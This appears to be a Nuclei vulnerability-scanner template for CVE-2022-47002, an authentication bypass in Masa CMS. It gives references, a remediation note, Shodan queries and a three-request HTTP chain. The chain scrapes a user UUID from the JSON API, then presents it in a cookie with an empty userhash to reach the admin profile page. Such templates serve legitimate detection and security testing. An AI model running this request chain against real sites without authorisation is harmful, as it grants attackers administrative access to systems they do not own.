Masa CMS - Authentication Bypass

id: CVE-2022-47002

info:
  name: Masa CMS - Authentication Bypass
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    Masa CMS 7.2, 7.3, and 7.4-beta are susceptible to authentication bypass in the Remember Me function. An attacker can bypass authentication via a crafted web request and thereby obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information and potential compromise of the system.
  remediation: |
    Apply the latest security patch or update provided by the vendor to fix the authentication bypass vulnerability in Masa CMS.
  reference:
    - https://hoyahaxa.blogspot.com/2023/03/authentication-bypass-mura-masa.html
    - https://github.com/MasaCMS/MasaCMS/releases/tag/7.3.10
    - https://hoyahaxa.blogspot.com/2023/01/preliminary-security-advisory.html
    - https://nvd.nist.gov/vuln/detail/CVE-2022-47002
    - https://www.hoyahaxa.com/2023/01/preliminary-security-advisory.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-47002
    cwe-id: CWE-863
    epss-score: 0.06253
    epss-percentile: 0.93616
    cpe: cpe:2.3:a:masacms:masacms:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: masacms
    product: masacms
    shodan-query:
      - 'Generator: Masa CMS'
      - "generator: masa cms"
  tags: cve,cve2022,auth-bypass,cms,masa,masacms,vuln

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /index.cfm/_api/json/v1/{{siteid}}/content/?fields=lastupdatebyid HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /admin/?muraAction=cEditProfile.edit HTTP/1.1
        Host: {{Hostname}}
        Cookie: userid={{uuid}}; userhash=

    redirects: true
    max-redirects: 2

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'contains(body_3,"\"userid\"")'
        condition: and

      - type: word
        part: body_3
        words:
          - "Edit Profile"

    extractors:
      - type: regex
        name: siteid
        group: 1
        regex:
          - 'siteid:"(.*?)"'
        internal: true
        part: body

      - type: regex
        name: uuid
        group: 1
        regex:
          - '"lastupdatebyid":"([A-F0-9-]+)"'
        internal: true
        part: body